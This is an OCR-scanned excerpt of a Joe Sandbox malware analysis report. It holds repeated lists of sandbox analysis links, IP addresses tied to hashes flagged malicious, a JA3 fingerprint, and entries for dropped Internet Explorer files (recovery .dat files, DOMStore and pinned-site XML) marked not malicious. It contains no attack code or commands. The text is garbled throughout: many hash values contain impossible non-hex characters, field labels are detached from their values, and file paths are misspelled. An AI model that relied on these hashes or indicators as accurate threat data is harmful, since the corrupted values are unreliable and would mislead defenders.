https://view.joesandbox.com/analysis/392046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392046/html/none?idtype=webid
https://view.joesandbox.com/analysis/392045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392045/html/none?idtype=webid
https://view.joesandbox.com/analysis/392042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392042/html/none?idtype=webid
https://view.joesandbox.com/analysis/392010/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392010/html/none?idtype=webid
https://view.joesandbox.com/analysis/391991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391991/html/none?idtype=webid
https://view.joesandbox.com/analysis/391987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391987/html/none?idtype=webid
https://view.joesandbox.com/analysis/391982/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391982/html/none?idtype=webid
https://view.joesandbox.com/analysis/391967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391967/html/none?idtype=webid
https://view.joesandbox.com/analysis/391965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391965/html/none?idtype=webid
https://view.joesandbox.com/analysis/391951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391951/html/none?idtype=webid
https://view.joesandbox.com/analysis/391938/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391938/html/none?idtype=webid
https://view.joesandbox.com/analysis/391935/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391935/html/none?idtype=webid
https://view.joesandbox.com/analysis/391928/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391928/html/none?idtype=webid
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid
https://view.joesandbox.com/analysis/391921/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391921/html/none?idtype=webid
https://view.joesandbox.com/analysis/391915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391915/html/none?idtype=webid
https://view.joesandbox.com/analysis/391913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391913/html/none?idtype=webid
https://view.joesandbox.com/analysis/392071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392071/html/none?idtype=webid
https://view.joesandbox.com/analysis/392003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392003/html/none?idtype=webid
https://view.joesandbox.com/analysis/391971/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391971/html/none?idtype=webid
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 52.88.142.220
Get hash malicious Browse e 52.95.165.51
Get hash malicious Browse e 99.83.154.118
Get hash malicious Browse e 3.64.163.50
Get hash malicious Browse e 3.123.20.242
Get hash malicious Browse e 3.126.56.137
Get hash malicious Browse e 3.126.56.137
Get hash malicious Browse e 34.249.145.219
Get hash malicious Browse e 54.249.141.25
Get hash malicious Browse e 13.51.72.213
Get hash malicious Browse e 52.216.166.13
Get hash malicious Browse e 52.217.141.112
Get hash malicious Browse e 18.185.122.198
Get hash malicious Browse e 54.179.71.39
Get hash malicious Browse e 3.139.50.24
Get hash malicious Browse e 34.249.145.219

JA3 Fingerprints

Match Associated Sample Name / URL SHA 256 Detection Link Context

9e10692f1b7f78228b2d4e424db3a98c 104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

Get hash malicious Browse

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

Get hash malicious Browse

Get hash malicious Browse

Get hash malicious Browse
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https://view.joesandbox.com/analysis/391909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391909/html/none?idtype=webid
https://view.joesandbox.com/analysis/391887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391887/html/none?idtype=webid
https://view.joesandbox.com/analysis/391857/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391857/html/none?idtype=webid
https://view.joesandbox.com/analysis/391804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391804/html/none?idtype=webid
https://view.joesandbox.com/analysis/391777/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391777/html/none?idtype=webid
https://view.joesandbox.com/analysis/391754/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391754/html/none?idtype=webid
https://view.joesandbox.com/analysis/391743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391743/html/none?idtype=webid
https://view.joesandbox.com/analysis/391681/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391681/html/none?idtype=webid
https://view.joesandbox.com/analysis/391587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391587/html/none?idtype=webid
https://view.joesandbox.com/analysis/391584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391584/html/none?idtype=webid
https://view.joesandbox.com/analysis/391583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391583/html/none?idtype=webid
https://view.joesandbox.com/analysis/391579/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391579/html/none?idtype=webid
https://view.joesandbox.com/analysis/391554/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391554/html/none?idtype=webid
https://view.joesandbox.com/analysis/391539/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391539/html/none?idtype=webid
https://view.joesandbox.com/analysis/391508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391508/html/none?idtype=webid
https://view.joesandbox.com/analysis/391452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391452/html/none?idtype=webid
https://view.joesandbox.com/analysis/392071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392071/html/none?idtype=webid
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid
https://view.joesandbox.com/analysis/391754/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391754/html/none?idtype=webid
https://view.joesandbox.com/analysis/391743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391743/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241
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https://view.joesandbox.com/analysis/391583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391583/html/none?idtype=webid
https://view.joesandbox.com/analysis/391433/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391433/html/none?idtype=webid
https://view.joesandbox.com/analysis/391425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391425/html/none?idtype=webid
https://view.joesandbox.com/analysis/391201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391201/html/none?idtype=webid
https://view.joesandbox.com/analysis/391186/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391186/html/none?idtype=webid
https://view.joesandbox.com/analysis/391183/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391183/html/none?idtype=webid
https://view.joesandbox.com/analysis/391174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391174/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241
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https://view.joesandbox.com/analysis/391171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391171/html/none?idtype=webid
https://view.joesandbox.com/analysis/391167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391167/html/none?idtype=webid
https://view.joesandbox.com/analysis/391166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391166/html/none?idtype=webid
https://view.joesandbox.com/analysis/391162/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391162/html/none?idtype=webid
https://view.joesandbox.com/analysis/391160/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391160/html/none?idtype=webid
https://view.joesandbox.com/analysis/391157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391157/html/none?idtype=webid
https://view.joesandbox.com/analysis/391156/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391156/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection Link Context

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

Get hash malicious Browse

104.26.3.70
216.58.215.226
3.127.209.187
76.223.111.131
151.101.1.44
104.26.7.139
104.20.185.68
18.156.0.31
35.244.174.68
18.184.201.8
172.217.168.38
185.29.132.241

Get hash malicious Browse

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\DOMStore\DURNCK2N\www.msn[2].xml|

Process: C:\Program Files (x86)\Internet Exploren\iexplore.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 152

Entropy (8bit):  5.171335222148512

Encrypted: false

SSDEEP: 3:D90aK1ryRtFwsx6wmxvFugLHIWEYPJIGX7T40AAe1SkjINsqSXQRKb:JFK1rUFkdugswEKIXH40AAeYDmwh

MD5: ABC334D82DB85F5CDEB83AB5F794677D

SHA1: 04D6CD9480D0OF4AACABB5B794396F2BFBA95676A

SHA-256: 196182BC581D92AB66B555469D51E115313FCEAF99A6105F24F065192843CCAG

SHA-512: 247DEFF881B9C8BA87424FF7F5C236216CFDEBOFD7BAG9F8C35B5A4CDEB67431342D8332548F3F630D2162005750A124D94C8BICESEA74214FDADD6AAADFIA
3

Malicious: false

Preview:

<root></root><root><item name="BT_AA_DETECTION" value="{&quot;ab&quot;:false,&quot;acceptable&quot;:true}" Itime="3779082048" htime="30915537" /></root>

C:\Users\user\AppData\Local\Microsoft\internet Explorer\DOMStore\QALADACS\contextual.media[1].xml

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 2847

Entropy (8bit):  4.949134653857417

Encrypted: false

SSDEEP: 48:yuvY MWYMWYMWVWVWVMWVW8W8tWEW8W8WAWAd74WAWAWAWAI5BWAIe9W4e9+BWAQ:zgMXMXMOOOMOWVtvwHHIHHHHISBHIe1
MD5: BF07942CC99D5F71BE1828686F63FB8F

SHAL: 078023BD6C330902A82ABBD1F7D98E6282C808A6

SHA-256: 2AEA3746COCF8DA93A7BBC62F3B3E41A33CF032F808092BBI3E7EFIB7027E7F7

SHA-512: 566B3ACESED46C355ECF6E379DE97508C33C162D5808025DC85EDA4F4A7D71E587280719272ACFDAC9335553377965806F178C80FC227792529CA24AFD7AB40E
Malicious: false

Preview:

<root><item name="mntest" value="mntest" Itime="3716582048" htime="30915537" /></root><root></root><root><item name="HBCM_BIDS" value="{}" ltime="3721
582048" htime="30915537" /></root><root><item name="HBCM_BIDS" value="{}" ltime="3721582048" htime="30915537" /></root><root><item name="HBCM_BIDS" va
lue="{}" ltime="3721582048" htime="30915537" /></root><root><item name="HBCM_BIDS" value="{}" ltime="3722062048" htime="30915537" /></root><root><item
name="HBCM_BIDS" value="{}" ltime="3722062048" htime="30915537" /></root><root><item name="HBCM_BIDS" value="{}" ltime="3722062048" htime="30915537" />
<item name="mntest" value="mntest" ltime="3725582048" htime="30915537" /></root><root><item name="HBCM_BIDS" value="{}" Itime="3722062048" htime="30
915537" /></root><root><item name="HBCM_BIDS" value="{}" ltime="3728582048" htime="30915537" /></root><root><item name="HBCM_BIDS" value="{}" Iltime="3
728582048" htime="30915537" /><item name="mntest" value="mntest" Itime="3728582048" htime="30915537"
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https://view.joesandbox.com/analysis/391155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391155/html/none?idtype=webid
https://view.joesandbox.com/analysis/391154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391154/html/none?idtype=webid

C:\Users\user\AppDatal\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{14D0D764-27C5-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet explorer\iexplore.exe
File Type: Microsoft Word Document

Category: dropped

Size (bytes): 136168

Entropy (8bit):  2.31163095728615

Encrypted: false

SSDEEP: 384:rNE9KO9yD1I3IsOTskEsPEs8Es+EsDEsrIselsplsVIsTjsRjs/jsfjsoystysd3:t

MDS5: E207903604CA1CA1BE903F8F8CE0448B

SHA1L: AB59C71C814FF758C3F199D15925ADB676DF185C

SHA-256: 1ACOE8376759C727ACCAED46095CDB8852C2557867732AA10CBID9IBCODEDC267

SHA-512: FED36E2B97ED384EA96729889B13ABF79B2AEE002633CB2ACE9IDD5B07860FCFAF8F21E55E6A57909AF3D0F426BESD86197136E72CA4ELF2A67143AD90FBF89:
E

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{14D0D766-27C5-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet exploren\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 367336

Entropy (8bit): 3.6305475535961382

Encrypted: false

SSDEEP: 3072:tZ/2Bfc/mubkgTz3tsZ/2BfcgmubkgTz3t3Z/2Bfc/mubkgTz3tEZ/2BfcgmuSkF:0Gg20

MD5: 748184A713904536C1CO0F0A32E4F375

SHA1L: EFE6725F13DBF401F827643AC5C34E0708B31F8F

SHA-256: 50148B1FDEE3COAEFDBA62A151D77CFA99554D7501F7CFOEE40FEL77FC434E25

SHA-512: 43E0F6FF01A9453B2F89FD8DBAA4BD820062B3DE3A7B27ABDB714F84101CDB0OC2098CFF1593CABAD40B6F1C24E26F36C7E9EFIBAAL7621125ECIC363A1ATBE
D9

Malicious: false

Preview:

C:\Users\luser\AppDatal\Local\Microsoft\Internet Explorer\Recovery\High\Active\{1F195E5E-27C5-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 19032

Entropy (8bit):  1.5852551579476042

Encrypted: false

SSDEEP: 48:lwmGcpriGwpa7G4pQbGrapbSuGQpKUG7HPRZTGIpX2RGApM:r6Z9Qd6PBSMAFTIFOg

MD5: A2D670A8A7B59827DB2A4F4C93FBA523

SHA1L: 514CFDBEE9716F978C6A02BC3E976D268EB460A8

SHA-256: CBC513A3E4F713039FB1E172BEB67B892B4F68DCA824A8F756B868081F72122B

SHA-512: 370EFFC464E5AB37D37EAEAD7E31172FE40AB451A623F562826271E9C6C88526BEAFE00919FD205CBF313EF6AB91C54E8B95AAA59902476E0C2E12A9FBDDDC
Cc2

Malicious: false

Preview:

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{4A968DB9-27C5-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet exploren\iexplore.exe

File Type: Microsoft Word Document

Category: dropped

Size (bytes): 28168

Entropy (8bit): 1.9265967530216201

Encrypted: false

SSDEEP: 192:rFZ22Q268k+jR2CWpMRBORTAW+PI4RTAW1A:rLDBh4AByz2 Aw+d6Aw2
MD5: 87D6CF7FBCECF72DA878A74BBODC7137

SHAL: B285922C260EAC8F602D28E5277F3425B1712E29
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{4A968DB9-27C5-11EC-90E5-ECF4BB570DC9}.dat

SHA-256:
SHA-512:
Malicious:

Preview:

FOBE7D3B2E93BOF6CES8DC8DAENC42926F623BFD7466BA0F5AF0F558D864D66E4
5B3BCY0E4224BB5219B5F44955327D8A57B3B51377B2AA2BC33A33A2D457C51FCDD740968028085C00D3825699AC7CAFOB7049FF3E1AG35E74DB92A12AFC811I

false

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{533A88BA-27C5-11EC-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

Microsoft Word Document

dropped

27568

1.9093498763200616

false
96:rFZIQK6UBSVjp2FWXM3ZZ0Qov9YpN1ZoQovIYp/3A:rFZIQKEUKVjp2FWXM3ZZOYj1ZOYX3A
3F5B588BEB1C7BB4AD1904430446CFD3

8E64C1B12FA3DB73FDOB1EB605F252EFBC082A45
B3339C542COBF2EBDE610F5750C326981CE3130FD50EB30B7DD838DF524A5C40
E6F2360F9CD53F362F00C716B2826B838F4800F10D8BD93EABB47E7D105712091B91E21FC656BOE75D4CA29038AA8C78B3372EDE83C64CEF34415CD6D280FBE

false

.R.0.0t. .E.ntr.

C:\Users\luser\AppDatal\Local\Microsoft\Internet Explorer\Recovery\High\Active\{533A88BC-27C5-11EC-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Microsoft Word Document

dropped

28124

1.9146308970174726

false
96:rnZPQP6XBSVjt2BWUMM9D0oQovQuYdIDpoQovQusA:rnZPQP6xkVjt2BWUMM9ODDIDp7A
FEO4AE9E6D260698808EE67044B0BD19
D4EF6B455F8E5902431937FA4067F1FICE364E47
498AEA587F8B40C96FF1567E583D6B946814E867DC752B060548A5AAA569A230

AFF0268631CD9384D1BD042BB9FFFF9894473C6F50B2D10846FEC57B94D934E5E38E2C11E969A3A66D1FEDB49651DE93BC8DE31AC70788ECF6634E1891A1AF!
4

false

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{5B5838B5-27C5-11EC-90E5-ECF4BB570DC9}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Microsoft Word Document

modified

28128

1.9115671604988407

false

192:rGoZAZ7QxE6Poktjx2pW4MwRSfyDREMSfafyD2r:r3HddJgYdwp2MasS
3A08CDE39E5D6D19467565B18CB00580
5126402AFA341E2C4D85CA78E13FF3A4A100DA1D
830894C520CD13B80CD2BF500849B82F0D47F3C51EDEGFC0519610FASDF5ABDO
77723F9ESED9C5F83B785594D20EE6314C8F53F4B789490713E55C1018F2D09CA9718B8A8CD8D48B8C6B301A1FF0965CA67CAECT76A32CF35F2437A36524BBA3t

false
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

657

5.097146250357098

false
12:TMHdNMNxOEjnWimI002EtM3MHdNMNxOEjnWimI00ONVbKEtMb:2d6NXOGSZHKd6NXOGSZ7Qb
DE2AF7828FEBB8841E9C737060797A02

DAD97F5184EB17DC8BC306FFAO6ADBBF4BC7BBCO
EAF968ADB534B6036A931EC4756B5214753049F82EB6AIFE94C200B040505793
FC6B2396CD74784C1C62E24CB53ACE18765699E09933BFC57AD22B0A2738F920AEF545F6F141CD1DC70A5BB60D85459F1D3F290A2F38E4565A20F05D36B422E

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xf4d26f81,0x01d7bbd1</date><accdate>0x
f4d26f81,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml ver
sion="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xf4d26f81,0x01d7bbd1</date><accdate>0xf4d26f81,
0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msappli
cation></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

654

5.096982051104299

false

12: TMHdNMNxe2kNnWiml002EtM3MHdNMNxe2kNnWiml00ONkak6EtMb:2d6NxrISZHKd6NxrISZ72a7b
4B97664888859AE74C40BC76221B5FCO

AA1715B3010BCC2A5943520C1A74D270B067CEQ7
299E78DECDDACBCOCC7B5874A131F0316BOFD3D274665A832AA066638B094566

5548A1277628DD647B2DBAD7BED72C4CBE2CBF07033AF22AD1CF12874EA9E9EDC5DD2B8CB6A993698EFFIB88A578D4F37C07053B8F81186CD7C7D139C1968
8F

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xf4cb4881,0x01d7bbd1</date><a
ccdate>0xf4cb4881,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xf4cb4881,0x01d7bbd1</date><a
ccdate>0xf4ch4881,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

663

5.114732529360086

false

12: TMHANMNxvLjnWimI002EtM3MHANMNxvLinWimI00ONmMZEtMb:2d6NxvfSZHKd6NxvfSZ7Ub
404FA469A6261D72C980575429C9BABD
1A5202CEEB3FC67D67C11781AFEE4E51E55FD509
E4D4C4F380C8FCD2FD7F3D0098E354EABFD409CDF2D5EAAGFC44E6E748B325C0
2EBBDBBA4A67D7877C0E496602C2467F816FOAAFF616F64802D8DF9121E38EC658C283337834D316739EEFDDECA424627EEA74C4C1284FD412DB5231B60D4A27

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xf4d26f81,0x01d7bbd1</date>
<accdate>0xf4d26f81,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xf4d26f81,0x01d7bbd1</date><accda
te>0xf4d26f81,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

648

5.084812652637342

false

12: TMHANMNxiINNWimI002EtM3MHANMNxiNnWimIOOONd5EtMb:2d6Nx+SZHKd6Nx+SZ7njb
4CB820B1224A43F501184B17C85D7F9C
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

121A3CBC8CB4CC34D7DDCE38D379C67DCA889F2A
D0O8FCB5910B21DEOD9BC93C21C62E9ACE77ES8ACO7900DBDEDC161A0786DA0DOB

6FD3E4A2B144BCFE708BOE4FASEABF36788A4A73EAESD68A85324BD1F4COF1BEB279DB84238FCCOBB1E1879B92310DD6C3E28C3856FEF196BD29EDFOD7AAS
64C

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xf4ch4881,0x01d7bbd1</date><acc
date>0xf4cbh4881,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xf4ch4881,0x01d7bbd1</date><accdate>0xf4ch4
881,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

657

5.125410221140484

false

12: TMHdNMNxhGwjnWimI002EtM3MHANMNXhGwjnWimI00ON8KO075EtMb:2d6NxQaSZHKd6NxQaSZ7uKajb
ABE493B8C3D76D5B4543D2533638A1E2

A489AEDO01A5415DBF4FF76575A724D5CODFB7AD9
1E36E5466A218E66D8566962783ECDB842B9175ECBDDF34361C9E6E70DF1705C
A08786812EBF87D71900FB9399FFB053874FCEA26EDF22EF94A76E698193736479DFB3DOEF4F7F3D8D7A94BBBC2F0D2CFF377695B028823D93168B8F11574C55

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xf4d26f81,0x01d7bbd1</date><
accdate>0xf4d26f81,0x01d7bbd1</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xf4d26f81,0x01d7bbd1</date><accdate>0
